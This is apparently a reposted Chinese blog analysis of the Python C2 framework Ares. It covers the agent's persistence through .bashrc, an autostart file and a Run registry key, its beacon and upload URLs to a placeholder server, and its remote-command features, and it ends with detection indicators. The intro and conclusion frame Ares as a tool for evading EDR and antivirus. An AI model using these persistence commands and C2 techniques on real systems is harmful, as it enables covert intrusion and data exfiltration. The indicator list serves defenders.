强对抗时代下的C2:战神Ares
2022-11-9 10:20:0 Author: xz.aliyun.com(查看原文) 阅读量:40 收藏

介绍

理解和检测 C2 框架-Ares,Ares在古希腊语中有战神的意思,随着cobaltstrike进入强对抗时代,我们不得不找一些新的C2以避开一众edr和杀软的检测。

ARES

这是ARES的在GitHub中的定义

Ares是一个Python撰写的远程访问控制工具。Ares由两个主要程序组成:

命令与控制服务器,它是用于管理agent的 Web 界面

agent程序,在受感染的主机上运行,并确保与CNC的通信
实际上,文件夹结构看起来像这样

“Ares”文件夹结构

让我们通过分析 C2 agent开始我们的旅程

“agent.py”

agent位于文件“agent.py”中。它由一个名为“agent”的大类组成,其中包含所有功能。此类将从一个名为“main”的函数调用,该函数又将执行负责运行agent的“run”函数。

在此函数中,我们遇到了此agent的第一个功能,即权限维持。

权限维持

根据从配置文件“config.py”读取的布尔值,我们调用权限维持函数。

“权限维持”功能

仅当编译agent时,该函数才会执行。这是通过检查“sys”包中的“freezing”属性值来验证的。它还通过调用_“is_installed”_函数来验证agent是否已安装在计算机上,该函数是名为_“get_install_dir”_的函数包装器

“is_installed”功能

“get_install_dir”检查操作系统,并取决于其“Linux”还是“Windows”。它将检查运行agent的“用户”的主目录,并查找名为“ares”的文件夹

  • Linux : “~/.ares”
  • Windows : “%USERPROFILE%/ares”

如果计算机上未安装agent,则将执行以下命令,具体取决于平台

Linux目录

  • 在用户的主目录中创建目录“.ares”:~/.ares
  • 将可执行文件复制到以下上述目录:_~/.ares/[name_of_executable]_
  • 执行 : _chmod +x ~/.ares/[name_of_executable]_
  • 如果存在“~/.config/autostart/”,那么它将创建包含以下内容的文件“~/.config/autostart/ares.desktop”
[Desktop Entry]Version=1.0Type=ApplicationName=AresExec=~/.ares/[name_of_executable]
  • 如果上述目录不存在,则以下内容将附加到“~/.bashrc”
(if [ $(ps aux|grep " + os.path.basename(sys.executable) + "|wc -l) -lt 2 ]; then " + ~/.ares/[name_of_executable] + ";fi&)

Windows

  • 在用户配置文件目录中创建目录 “ares” : %USERPROFILE%/ares
  • 将可执行文件复制到以下上述目录:_%USERPROFILE%/ares/[name_of_executable]_
  • 使用以下命令在“HKCU\Software\Microsoft\Windows\CurrentVersion\Run”注册表项中创建值“ares”
reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Run /f /v ares /t REG_SZ /d \"%s\"" % [agent_path]

至此,agent的安装完成,它将循环侦听来自 C2 的命令。

“主”循环

它首先执行一个名为“server_hello”的函数,该函数将对以下 URL 执行简单的 post 请求并等待指令。

POST http(s)://[SERVER_IP]/api/USERNAME_[UUID]/hello

该请求将向 C2 发送以下信息:

  • 平台
  • 主机名
  • 用户名

“server_hello”功能

请注意,由于没有指定“用户agent”,因此将使用“请求”库的默认用户agent。(见下文)

User-Agent: python-requests/[Version]

此请求的结果将存储在变量“todo”中,该变量将包含 C2 服务器发送的任何命令。

在检查从服务器返回的值之前,将调用函数_“update_consecutive_failed_connections”。_ 此函数用于记录主循环中“失败”连接或异常的数量。

如果安装了“agent”,则会在Windows系统上的“%USERPROFILE%/ares”文件夹中和Linux系统上的“~/.ares”文件夹中创建一个名为“failed_connections”的文件。

将要执行的下一组函数将取决于 C2 服务器将发送的命令。大多数函数都包含一些独特的工件,可以帮助我们检测正在使用的行为或功能。

在我们进入支持的命令之前需要注意的一件事。是不是几乎所有命令都使用一个名为_“send_output”_的函数.

“send_output”功能

此函数的作用是使用此 URL 通过 post 请求将任何数据发送回 C2 服务器

POST http(s)://[SERVER_IP]/api/USERNAME_[UUID]/report

以下是agent支持的命令。

CD

此命令只是将当前目录更改为从 C2 发送的任何目录

“cd”命令

upload

agent可以将任何文件上载到 C2 服务器。有问题的文件将通过发布请求发送到以下 URL:

POST http(s)://[SERVER_IP]/api/USERNAME_[UUID]/upload

“上传”命令

download

此命令充当下载agent。C2 服务器将发送要下载的远程文件的位置,并指定存储该文件的位置。

“下载”功能

agent将首先通过“send_output”功能向 C2 发送输出,指示下载开始。然后,将对从 C2 提供的任何 URL 发出“get”请求。

这可以通过查找以下两个与“python-requests/[版本]”“用户agent”背靠背发出的请求来识别 .

POST http(s)://[SERVER_IP]/api/USERNAME_[UUID]/reportGET http(s)://[REMOTE_URL]

clean

“clean”命令会清除“持久”命令/函数所做的一切事情。

“Clean”功能

根据平台的不同,将执行以下命令

Linux目录

  • 删除“~/.ares”目录下的所有内容
  • 删除“~/.config/autostart/ares.desktop”
  • grep -v .ares .bashrc > .bashrc.tmp;mv .bashrc.tmp .bashrc

windows

  • reg delete HKCU\Software\Microsoft\Windows\CurrentVersion\Run /f /v ares
  • _reg add HKCU\Software\Microsoft\Windows\CurrentVersion\RunOnce /f /v ares /t REG_SZ /d \“cmd.exe /c del /s /q [persistence_directory] & rmdir [persistence_directory]\””_

persist

如果未在配置文件中启用持久性。C2 的操作员可以发送 “persist” 命令来启动持久化过程

exit

此命令将简单地杀死agent进程并退出

“退出”功能

.zip

“agent”提供了压缩任何文件或文件夹并将其保存在任何位置的可能性。

“压缩”功能

新创建的zip文件可以位于任何地方,但是关于检测的最重要的事情是它不会自动删除。除非服务器中的“rm”或“del”明确表示。因此,根据C2的操作员,仍然可以在受感染的计算机上找到创建的任何zip文件。

python

它允许操作员使用“exec”函数执行任意python文件/命令。

“python”函数

截图

创建一个屏幕截图并将其保存在用户的临时目录下(Windows上的“%temp%”和Linux上的“/tmp”)。然后使用上述“上传”功能上传结果。

请注意,agent不会删除有问题的屏幕截图,因此您可以在临时目录中查找任何“.png”文件。

“截图”功能

help

这将简单地打印一个帮助菜单,显示支持的操作/命令

“帮助”功能

runcmd

agent提供的最后一个命令是任意命令执行。“runcmd”函数将使用python“子进程”包执行从C2发送的任何命令。

“runcmd”函数

需要注意的一点是,agent具有可以从 CONFIG 文件配置的“空闲”模式。

对agent提供的所有功能的分析到此结束。现在让我们快速浏览一下代码的服务器部分。

“ares.py”

C2 接口

此框架的服务器端部分很简单。它写在烧瓶中,并有一个本地数据库来存储有关命令、连接的agent的信息......等。

默认情况下,C2 服务器的服务器标头硬编码为字符串“Ares”。因此,从服务器发送的每个响应都将包含服务器标头“Ares”.

响应 C2

此外,使用agent的“upload”命令上传到C2服务器的文件将默认存储在目录“uploads”中,并且可以直接从服务器访问它们,而无需任何身份验证。

http(s)://[C2_IP]/uploads/[agent_id]/[filename]

除此之外,代码只是处理从agent发送的请求。

结论

其实很多功能跟cs功能相似,但没有cs的功能多,但我们用新的c2不久为了能上线吗,所以勉强能用

指标

用户agent

  • User-Agent: python-requests/2.18.4

URL 和网络控件

  • http(s)://[SERVER_IP]/api/USERNAME_[UUID]/upload
  • http(s)://[SERVER_IP]/api/USERNAME_[UUID]/report
  • http(s)://[SERVER_IP]/api/USERNAME_[UUID]/hello
  • http(s)://[C2_IP]/uploads/[agent_id]/[文件名]
  • 响应标头:“server:ares”

遥测

  • 文件夹创建/删除
  • 文件创建

命令 (Linux)

  • chmod +x ~/.ares/[name_of_executable]
  • grep -v .ares .bashrc > .bashrc.tmp;mv .bashrc.tmp .bashrc

命令 (Windows)

  • reg delete HKCU\Software\Microsoft\Windows\CurrentVersion\Run /f /v ares
  • reg add HKCU\Software\Microsoft\Windows\CurrentVersion\RunOnce /f /v ares /t REG_SZ /d \“cmd.exe /c del /s /q [persistence_directory] & rmdir [persistence_directory]\””
  • reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Run /f /v ares /t REG_SZ /d \“%s\”“ % [agent_path]

Disk Artifacts

  • /tmp/[random_name].png
  • %temp%/[random_name].png
  • 由 ZIP 命令创建的 zip 文件。创建日期可以与创建 zip 文件的 HTTP 请求相关联
  • 使用下载命令下载到agent的文件。创建日期可以与下载文件的 HTTP 请求相关联
  • 位于“ares”文件夹内的文件:failed_connections
  • 创建文件夹 (Linux) : “~/.ares”
  • 创建文件夹 (Windows): “%USERPROFILE%/ares”
  • 写入 “.bashrc” : (if [ $(ps aux|grep “ + os.path.basename(sys.executable) + ”|wc -l) -lt 2 ];则 “ + ~/.ares/[name_of_executable] + ”;fi&)
  • 写入 “~/.config/autostart/ares.desktop”
[Desktop Entry]Version=1.0Type=ApplicationName=AresExec=~/.ares/[name_of_executable]

原文章:https://nasbench.medium.com/understanding-detecting-c2-frameworks-ares-8c96aa47e50d

MITRE ATT&CK


文章来源: https://xz.aliyun.com/t/11819
如有侵权请联系:admin#unsafe.sh